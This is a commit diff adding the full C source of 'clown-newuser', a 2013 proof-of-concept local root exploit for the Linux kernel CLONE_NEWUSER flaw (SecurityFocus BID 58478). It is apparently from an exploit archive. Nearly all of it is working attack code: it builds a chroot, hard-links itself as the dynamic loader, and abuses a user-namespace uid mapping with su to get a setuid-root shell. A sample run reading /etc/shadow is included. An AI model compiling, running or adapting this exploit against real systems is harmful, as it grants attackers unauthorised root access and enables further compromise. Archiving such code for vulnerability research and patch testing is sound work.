|
| 1 | +/* |
| 2 | +source: http://www.securityfocus.com/bid/58478/info |
| 3 | +
|
| 4 | +Linux kernel is prone to a local privilege-escalation vulnerability. |
| 5 | +
|
| 6 | +Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks. |
| 7 | +*/ |
| 8 | + |
| 9 | +/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC |
| 10 | + * |
| 11 | + * Dedicated to: Locke Locke Locke Locke Locke Locke Locke! |
| 12 | + * |
| 13 | + * This exploit was made on the 13.3.13. |
| 14 | + * |
| 15 | + * (C) 2013 Sebastian Krahmer |
| 16 | + * |
| 17 | + * We are so 90's, but we do 2013 xSports. |
| 18 | + * |
| 19 | + * Must be compiled static: |
| 20 | + * |
| 21 | + * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static |
| 22 | + * stealth@linux-czfh:~> ./a.out |
| 23 | + * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian |
| 24 | +Krahmer |
| 25 | + * |
| 26 | + * [+] Found myself: '/home/stealth/a.out' |
| 27 | + * [*] Parent waiting for boomsh to appear ... |
| 28 | + * [*] Setting up chroot ... |
| 29 | + * [+] Done. |
| 30 | + * [*] Cloning evil child ... |
| 31 | + * [+] Done. |
| 32 | + * [*] Creating UID mapping ... |
| 33 | + * [+] Done. |
| 34 | + * [+] Yay! euid=0 uid=1000 |
| 35 | + * linux-czfh:/home/stealth # grep bin /etc/shadow |
| 36 | + * bin:*:15288:::::: |
| 37 | + * linux-czfh:/home/stealth # |
| 38 | + * |
| 39 | + */ |
| 40 | +#define _GNU_SOURCE |
| 41 | +#include <sched.h> |
| 42 | +#include <stdio.h> |
| 43 | +#include <stdlib.h> |
| 44 | +#include <unistd.h> |
| 45 | +#include <fcntl.h> |
| 46 | +#include <string.h> |
| 47 | +#include <errno.h> |
| 48 | +#include <sys/stat.h> |
| 49 | +#include <sys/types.h> |
| 50 | +#include <sys/wait.h> |
| 51 | + |
| 52 | + |
| 53 | +int go[2]; |
| 54 | +char child_stack[1<<20]; |
| 55 | +extern char **environ; |
| 56 | + |
| 57 | + |
| 58 | +void die(const char *msg) |
| 59 | +{ |
| 60 | + perror(msg); |
| 61 | + exit(errno); |
| 62 | +} |
| 63 | + |
| 64 | + |
| 65 | +int child(void *arg) |
| 66 | +{ |
| 67 | + char c; |
| 68 | + |
| 69 | + close(go[1]); |
| 70 | + read(go[0], &c, 1); |
| 71 | + |
| 72 | + setuid(0); |
| 73 | + |
| 74 | + /* this will also affect the parent, but the parent |
| 75 | + * has the init_user_ns, so it will start suid with real uid 0. |
| 76 | + */ |
| 77 | + if (chdir("chroot") < 0) |
| 78 | + die("[-] chdir"); |
| 79 | + if (chroot(".") < 0) |
| 80 | + die("[-] chroot"); |
| 81 | + |
| 82 | + return 0; |
| 83 | +} |
| 84 | + |
| 85 | + |
| 86 | + |
| 87 | +int setup_chroot(const char *me) |
| 88 | +{ |
| 89 | + mkdir("chroot", 0755); |
| 90 | + mkdir("chroot/lib64", 0755); |
| 91 | + mkdir("chroot/bin", 0755); |
| 92 | + |
| 93 | + if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0) |
| 94 | + die("[-] link"); |
| 95 | + if (link("/bin/su", "chroot/bin/su") < 0) |
| 96 | + die("[-] link"); |
| 97 | + return 0; |
| 98 | +} |
| 99 | + |
| 100 | + |
| 101 | +int main(int argc, char *argv[]) |
| 102 | +{ |
| 103 | + char *su[] = {"/bin/su", NULL}; |
| 104 | + char *sh[] = {"/bin/bash", NULL}; |
| 105 | + char me[256], *mee[] = {me, "1", NULL}; |
| 106 | + char uidmap[128], map_file[128]; |
| 107 | + pid_t pid; |
| 108 | + struct stat st; |
| 109 | + int fd; |
| 110 | + |
| 111 | + |
| 112 | + if (geteuid() == 0 && argc == 1) { |
| 113 | + /* this will run inside chroot, started as the ld.so |
| 114 | +from |
| 115 | + * su process |
| 116 | + */ |
| 117 | + printf("[+] Yay! euid=%d uid=%d\n", geteuid(), |
| 118 | +getuid()); |
| 119 | + chown("lib64/ld-linux-x86-64.so.2", 0, 0); |
| 120 | + chmod("lib64/ld-linux-x86-64.so.2", 04755); |
| 121 | + exit(0); |
| 122 | + } else if (geteuid() == 0) { |
| 123 | + /* this will run outside */ |
| 124 | + setuid(0); |
| 125 | + execve(*sh, sh, environ); |
| 126 | + die("[-] execve"); |
| 127 | + } |
| 128 | + |
| 129 | + printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 |
| 130 | +Sebastian Krahmer\n\n"); |
| 131 | + |
| 132 | + memset(me, 0, sizeof(me)); |
| 133 | + readlink("/proc/self/exe", me, sizeof(me) - 1); |
| 134 | + printf("[+] Found myself: '%s'\n", me); |
| 135 | + |
| 136 | + if (fork() > 0) { |
| 137 | + printf("[*] Parent waiting for boomsh to appear ...\n"); |
| 138 | + for (;;) { |
| 139 | + stat(me, &st); |
| 140 | + if (st.st_uid == 0) |
| 141 | + break; |
| 142 | + usleep(1000); |
| 143 | + } |
| 144 | + execve(me, mee, environ); |
| 145 | + die("[-] execve"); |
| 146 | + } |
| 147 | + |
| 148 | + printf("[*] Setting up chroot ...\n"); |
| 149 | + setup_chroot(me); |
| 150 | + printf("[+] Done.\n[*] Cloning evil child ...\n"); |
| 151 | + |
| 152 | + if (pipe(go) < 0) |
| 153 | + die("[-] pipe"); |
| 154 | + |
| 155 | + pid = clone(child, child_stack + sizeof(child_stack), |
| 156 | + CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL); |
| 157 | + if (pid == -1) |
| 158 | + die("[-] clone"); |
| 159 | + |
| 160 | + printf("[+] Done.\n[*] Creating UID mapping ...\n"); |
| 161 | + |
| 162 | + snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid); |
| 163 | + if ((fd = open(map_file, O_RDWR)) < 0) |
| 164 | + die("[-] open"); |
| 165 | + snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid()); |
| 166 | + if (write(fd, uidmap, strlen(uidmap)) < 0) |
| 167 | + die("[-] write"); |
| 168 | + close(fd); |
| 169 | + printf("[+] Done.\n"); |
| 170 | + |
| 171 | + close(go[0]); |
| 172 | + write(go[1], "X", 1); |
| 173 | + |
| 174 | + waitpid(pid, NULL, 0); |
| 175 | + execve(*su, su, NULL); |
| 176 | + die("[-] execve"); |
| 177 | + return -1; |
| 178 | +} |
| 179 | + |
| 180 | + |
0 commit comments